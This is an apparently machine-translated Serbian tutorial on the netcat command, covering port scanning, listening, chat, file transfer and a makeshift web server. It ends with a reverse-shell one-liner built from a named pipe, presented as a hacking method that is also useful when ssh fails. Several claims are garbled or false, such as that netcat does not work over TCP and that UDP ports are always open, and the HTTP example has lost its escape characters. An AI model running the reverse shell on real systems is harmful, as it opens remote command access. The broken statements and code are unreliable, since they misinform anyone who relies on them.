Команда netcat
је потребна за пренос и пријем података помоћу ТЦП и УДП протокола. Нема велики скуп функција, али је довољан за проверу везе и једноставно отклањање грешака. Како комуницирати користећи ТЦП протокол? Ово питање постављају многи корисници. У овом чланку ћемо одговорити на ово питање, а такође ћемо показати примере примене команде у стварном животу.
Команда netcat
(или nc
) је моћан алат за рад са мрежним везама. Често га користе системски администратори и програмери за различите задатке. Ево главних карактеристика и могућности netcat
:
netcat
је свестран алат који се може користити у различитим сценаријима, од једноставне размене порука до сложених мрежних операција.
Прво, погледајмо синтаксу и оне најпопуларније:
-6
– користити ИПв6 протокол. Подразумевано је -4 и ИПв4 респективно;-h
– приказати помоћ са листом доступних параметара;-i
- кашњење – додајте кашњење између линија за слање или портова за скенирање. Подешавање у секундама;-l
– режим слушања. Користи се за означавање порта;-N
– затварање везе када се достигне крај датотеке приликом слања;-n
– Радите са ИП адресама директно, без коришћења ДНС-а, такође онемогућите претрагу портова;-P
- корисничко_име – наведите корисничко име за повезивање са проксијем;-x
- адреса:порт – наведите адресу и порт за повезивање са проксијем;-p
- порт – наведите број порта. У већини случајева, порт се чита без навођења параметра;-U
– користити утичницу УНИКС домена (за међупроцесну комуникацију);-u
– користи УДП протокол, ТЦП се користи подразумевано;-v
– опширни начин. Користи се приликом скенирања;-W
број_пакета – затварање везе након пријема одређеног броја пакета;-w
тајмер – омогући тајмер да ограничи време везе. Подешавање у секундама;-z
– онемогући слање података. Користи се приликом скенирања.Команда изгледа овако (параметри адресни порт):
$ nc
Затим ћемо причати о томе како користити команду.
Верификација је главна употреба netcat
. Требало би да користите два параметра -vz
, наведите адресу и порт. Можете навести опсег адреса, али у овом случају је боље филтрирати само отворене портове помоћу команде grep
. Хајде да проверимо портове адресе локалне мреже:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Скенирајмо УДП портове на исти начин, додајући параметар -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
У овом случају, морате знати главну разлику између ТЦП-а и УДП-а. Дакле, у УДП портови су увек доступни.
Параметар -l
се користи за слушање порта. Ово је често довољно, али можете омогућити опширни режим:
$ nc -nlv 8080
Запамтите да када користите ТЦП протокол, порт мора бити слободан, иначе ће се појавити грешка Већ у употреби. Међутим, обични корисници не могу користити све портове, на пример, порт 80 (ХТТП), највероватније ће га заузети други процес, а такође ће захтевати и права суперкорисника.
Корисна способност тима је размена података. Једноставан пример је текстуално ћаскање. Да бисте започели ћаскање на једном рачунару, покрените услужни програм у режиму слушања порта:
$ nc -lp 8080
На другом рачунару, мораћете да наведете адресу првог рачунара и исти порт. Такође не заборавите да то проверите порт отворен:
$ nc 0.0.0.0 8080
На овај начин можете слати и примати поруке. То јест, команда је намењена за размену датотека. Принцип је исти, осим што је потребно да преусмерите излаз у датотеку, односно paste.txt
:
$ nc -l 8080 > paste.txt
На другом рачунару, улаз ће бити датотека copy.txt
. Било би добро да користите параметар -N
да бисте затворили везу након преноса датотеке:
$ nc -N 0.0.0.0 8080 < copy.txt
Да бисте пренели датотеке, важно је пратити редослед, прво отворити слушање и тек онда послати датотеку. Команда нц ради, али је далеко од најбољег начина за пренос датотека. Постоје ефикаснији и кориснији алати за решавање овог проблема.
Пошто НЦ команда не ради на ТЦП протоколу, дозвољава и слање и примање ХТТП захтева. Стога, услужни програм може постати једноставан веб сервер. Да, ништа лукавије од странице не може се урадити на овај начин, али операција практично не траје, а још један плус је што не морате ништа додатно да инсталирате.
Користећи пример, генерисаћемо ХТТП одговор са датотеком index.html
. Ако говоримо о самом нп-у, онда би било добро да подесите тајмер са параметром -w 1
да прекине везу ако претраживач то не учини:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Да бисте добили податке са веб локације, можете формулисати захтев и послати га на адресу и порт за саветовање. Али овај метод је прилично компликован; боље је користити одговарајућу команду ЦУРЛ.
На основу горе наведених примера, не би било могуће доћи до закључка да команда омогућава да организујете даљински приступ љусци рачунара. Раније је НЦ услужни програм имао неколико опција за отварање приступа терминалу. Параметар -e
је одавно уклоњен из услужног програма, тако да више неће бити лак приступ терминалу. Безбедност саме апликације је постала већа, али и даље може да ради у комбинацији са другима.
Хајде да покажемо везу помоћу мкфифо именоване цеви. Пре свега, хајде да почнемо да слушамо порт на рачунару на коме ћемо добити приступ:
$ nc -lvnp 8080
Пређимо директно на команду за отварање терминала. Прво, избришемо стару именовану цев ( rm /tmp/f
), креирамо нову на њеном месту ( mkfifo /tmp/f
), прочитамо њен садржај ( cat /tmp/f
) и пошаљемо команду љуске на њен излаз ( sh -i 2>&1
). Након овога, све што остаје је да покренемо нц са излазом у нашу именовану цев ( nc 0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Имајте на уму да је ово једна од метода хаковања, али може бити корисна у случају проблема са ssh
. Да бисте спречили напад, конфигуришите безбедносну политику и заштитни зид.